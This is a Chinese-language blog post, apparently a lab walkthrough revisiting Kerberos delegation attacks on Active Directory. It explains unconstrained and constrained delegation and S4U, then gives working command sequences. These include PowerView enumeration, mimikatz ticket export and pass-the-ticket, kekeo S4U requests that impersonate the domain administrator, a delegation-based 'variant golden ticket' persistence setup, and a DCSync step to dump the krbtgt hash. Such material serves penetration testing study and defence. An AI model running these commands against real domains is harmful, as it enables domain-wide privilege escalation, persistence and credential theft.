前言
此文為前文域委派攻擊學習后的再次思考,因為先前學習時候部分環境有些局限,可能理解不夠透徹,此文再次進行反思&總結
https://www.cnblogs.com/Yang34/p/14264356.html 第一個版本的文章原理啥的更加詳細些,這回的文章方向不同些,如果錯誤請大佬指正
簡介
委派:用戶A利用自己的身份可以訪問到一個網站B,請求網站的資源C,但是網站B上邊本身沒有資源C,那么網站B就需要用用戶A的身份去訪問另外一台機器去獲取資源C再給到用戶
用戶A->網站B->用戶A的身份->資源C
非約束委派:用戶訪問服務1的時候,如果服務1的賬戶開啟了非約束委派,那么用戶就將自己的tgt發送給了服務器進行訪問,隨后服務1就可以利用這個tgt也就是用戶的身份去訪問其他服務,也就造成了非常大的身份假冒的風險,如果控下了一台非約束委派的機器,那么久能夠從這台機器上導出用戶的tgt,為了解決這個安全隱患出現了約束委派
約束委派:通過域管對服務1進行限制,當用戶訪問服務1的時候,使得服務1只能用用戶身份訪問服務2,而無法訪問其他任意的服務
s4u:S4U2proxy、S4U2self
官方文檔:https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/3bff5864-8135-400e-bdd9-33b552051d94?redirectedfrom=MSDN
S4U2self:進行驗證協議切換,用戶訪問了服務1后,服務1要利用kerberos協議以用戶的身份訪問服務2,當然用戶訪問服務1時候也是要用kerberos協議進行驗證,但如果不是該如何解決?
服務1可能是個網站,用戶登錄網站輸入的賬戶並不一定是域賬戶密碼,這時候就需要用S4U2self進行解決
如果服務1有了S4U2self的權限,服務1能夠以域內用戶身份向kdc申請一個訪問服務1自身的憑證,而且不需要知道目標用戶的密碼,如服務1可以用域管用戶向kdc申請一個訪問服務1自身的憑證,如果能夠找到這個服務,就有可能可以通過這個服務提權至域管
前期准備
當前環境
域控機器:OWA2013.rootkit.org
服務機器:Srv-Web-Kit.rootkit.org
終端機器:PC-micle-Kit.rootkit.org
主機賬戶&服務賬戶開啟委派如下:
關於三個選項
不信任此用戶作為委派:不開啟委派
信任此用戶作為任何服務的委派:非約束委派
僅信任此用戶作為指定服務的委派:約束委派
信息收集
此處powerview版本是有不同的,請自行注意~~
非約束委派
powerview
Get-domaincomputer -Unconstrained -Domain rootkit.org
Get-DomainUser -Unconstrained -Domain rootkit.org
Get-NetUser -Unconstrained -Domain rootkit.org
Get-NetComputer -Unconstrained -Domain rootkit.org
約束委派
Get-DomainUser -TrustedToAuth -Domain rootkit.org -Verbose | fl
Get-DomainComputer -TrustedToAuth -Domain rootkit.org -Verbose | fl
Get-NetUser -TrustedToAuth -Domain rootkit.org -Verbose | fl
Get-NetComputer -TrustedToAuth -Domain rootkit.org -Verbose | fl
確認dbadmin開啟約束委派,對應服務為PC-micle-Kit的cifs
允許委派的賬戶
Get-NetUser -AllowDelegation -AdminCount -Domain rootkit.org 獲得管理員賬戶
Get-NetUser -AllowDelegation -Domain rootkit.org 獲得普通用戶
針對非約束委派
非約束委派,配置服務賬戶如下:
非約束委派中如果service1能夠獲得用戶的tgt,那么service1就可以模擬用戶訪問service2的服務
結合當前情況,以開啟委派功能的服務賬戶dbaadmin運行的機器Srv-Web-Kit會緩存用戶的tgt,當用戶能夠到處憑證時即可通過ptt進行攻擊
mimikatz導出憑證
如下為導出的憑證,有管理員(ituser)&主機賬戶的
mimikatz導入憑證
再次連接域控服務
針對約束委派
服務賬戶配置如下,對目標機器的cifs
約束委派的情況下,服務賬戶能夠獲取到用戶的tgs,從而模擬用戶訪問特定的服務,這里主機中是無法抓到用戶的TGT的,但攻擊者可以獲取到開啟非約束委派服務賬戶的口令或hash,也可以進一步構造tgt&s4u請求
偽裝成服務賬戶能夠獲得任意賬戶的權限(如域管)從而獲得tgs,其中服務賬戶的明文口令可以通過kerberoasting獲取
請求服務用戶的TGT
tgt::ask /user:dbadmin /domain:rootkit.org /password:admin!@#45 /ticket:dbadmintest.kirbi
通過s4u請求以administrator身份訪問PC-micle-Kit.rootkit.org的ST
kekeo.exe "tgs::s4u /tgt:TGT_dbadmin@ROOTKIT.ORG_krbtgt~rootkit.org@ROOTKIT.ORG.kirbi /user:administrator@rootkit.org /service:cifs/PC-micle-Kit.rootkit.org" exit
相關憑證如下,此處mimikatz導入憑證即可,不再贅述
約束委派&變種黃金票據
此處變種黃金票據在2012及以后的機器域控上無法成功,因為推出了基於資源的約束委派
什么是黃金票據?偽造TGT,當獲取了krbtgt的hash或者key之后可以自行進行偽造tgt,但是krbtgt的hash一旦被修改,那么先前生成的黃金票據就無法進行使用了
此處的變種黃金票據並不依賴於krbtgt的賬戶&hash,但是是會在系統日志留下痕跡
實際使用
確認賬戶如下,並設定服務賬戶
setspn -A test/goldentest yangyang1
設定委派信息如下
Import-Module activedirectory
$user = Get-ADUser yangyang1 -Properties "msDS-AllowedToDelegateTo"
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/motoo.nc") }
通過現有賬戶獲得目標服務tgt
kekeo.exe "tgt::ask /user:yangyang1 /domain:motoo.nc /password:Aa111111" exit
通過s4u獲取域管訪問krbtgt/motoo.nc的tgs,也就是域管的tgt
kekeo.exe "tgs::s4u /tgt:TGT_yangyang1@MOTOO.NC_krbtgt~motoo.nc@MOTOO.NC.kirbi /user:Administrator@motoo.nc /service:krbtgt/motoo.nc" exit
導入獲得的憑證
確認獲得憑證
確認獲得權限
約束委派&DCSync
利用dc的ldap通過約束委派獲取ldap服務的憑證從而dcsync
實際使用
設定服務用戶
setspn -A test/ldaptest yangldap
給服務用戶設定委派信息如下
Import-Module activedirectory
$user = Get-ADUser yangldap -Properties "msDS-AllowedToDelegateTo"
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("ldap/OWA2013.rootkit.org") }
kekeo.exe "tgt::ask /user:yangldap /domain:rootkit.org /password:Aa111111" exit
kekeo.exe "tgs::s4u /tgt:TGT_yangldap@ROOTKIT.ORG_krbtgt~rootkit.org@ROOTKIT.ORG.kirbi /user:administrator@rootkit.org /service:ldap/OWA2013.rootkit.org" exit
寫入內存
dcsync直接拖krbtgthash